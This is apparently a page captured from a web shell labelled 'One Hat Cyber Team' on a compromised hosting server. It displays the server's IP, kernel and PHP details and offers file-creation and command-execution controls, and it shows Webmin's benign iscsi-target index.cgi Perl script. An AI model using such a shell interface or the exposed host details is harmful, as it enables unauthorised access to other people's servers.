⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
webmin
/
iscsi-target
/
View File Name :
index.cgi
#!/usr/bin/perl # Display a list of iSCSI targets use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; require './iscsi-target-lib.pl'; our (%text, %config, $module_name); &ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("ietadm", "man", "doc", "google")); my $err = &check_config(); if ($err) { &ui_print_endpage( $err." ".&text('index_clink', "../config.cgi?$module_name")); } # Find and show targets my $conf = &get_iscsi_config(); my @targets = &find($conf, "Target"); my @crlinks = ( &ui_link("edit_target.cgi?new=1",$text{'index_add'}) ); if (@targets) { unshift(@crlinks, &select_all_link("d"), &select_invert_link("d")); print &ui_form_start("delete_targets.cgi"); print &ui_links_row(\@crlinks); my @tds = ( "width=5" ); print &ui_columns_start([ "", $text{'index_target'}, $text{'index_lun'}, $text{'index_size'}, $text{'index_users'}, ], 100, 0, \@tds); foreach my $t (@targets) { my @luns; my $size = 0; foreach my $l (&find($t->{'members'}, "Lun")) { if ($l->{'value'} =~ /Path=([^, ]+)/) { push(@luns, &mount::device_name("$1")); $size += &get_device_size("$1"); } elsif ($l->{'value'} =~ /Sectors=(\d+)/) { push(@luns, &text('index_nullio', "$1")); } } my @users = map { $_->{'values'}->[0] } &find($t->{'members'}, "IncomingUser"); if (@users > 5) { @users = (@users[0 .. 4], "..."); } print &ui_checked_columns_row([ "<a href='edit_target.cgi?name=". &urlize($t->{'value'})."'>".$t->{'value'}."</a>", join(" , ", @luns) || "<i>$text{'index_noluns'}</i>", $size ? &nice_size($size) : "", join(" , ", @users) || "<i>$text{'index_nousers'}</i>" ], \@tds, "d", $t->{'value'}); } print &ui_columns_end(); print &ui_links_row(\@crlinks); print &ui_form_end([ [ undef, $text{'index_delete'} ] ]); } else { print "<b>$text{'index_none'}</b><p>\n"; print &ui_links_row(\@crlinks); } # Icons for global settings print &ui_hr(); my @links = ( "edit_auth.cgi", "edit_conn.cgi", "edit_timeout.cgi", "list_allow.cgi?mode=initiators", "list_allow.cgi?mode=targets", "edit_addr.cgi", "edit_manual.cgi" ); my @titles = ( $text{'auth_title'}, $text{'conn_title'}, $text{'timeout_title'}, $text{'initiators_title'}, $text{'targets_title'}, $text{'addr_title'}, $text{'manual_title'} ); my @icons = ( "images/auth.gif", "images/conn.gif", "images/timeout.gif", "images/initiators.gif", "images/targets.gif", "images/addr.gif", "images/manual.gif" ); &icons_table(\@links, \@titles, \@icons, 5); print &ui_hr(); print &ui_buttons_start(); # Show start/stop/restart buttons my $pid = &is_iscsi_target_running(); if ($pid) { print &ui_buttons_row("restart.cgi", $text{'index_restart'}, $text{'index_restartdesc'}); print &ui_buttons_row("stop.cgi", $text{'index_stop'}, $text{'index_stopdesc'}); } else { print &ui_buttons_row("start.cgi", $text{'index_start'}, $text{'index_startdesc'}); } # Show start at boot button &foreign_require("init"); my $starting = &init::action_status($config{'init_name'}); print &ui_buttons_row("atboot.cgi", $text{'index_atboot'}, $text{'index_atbootdesc'}, undef, &ui_radio("boot", $starting == 2 ? 1 : 0, [ [ 1, $text{'yes'} ], [ 0, $text{'no'} ] ])); print &ui_buttons_end(); &ui_print_footer("/", $text{'index'});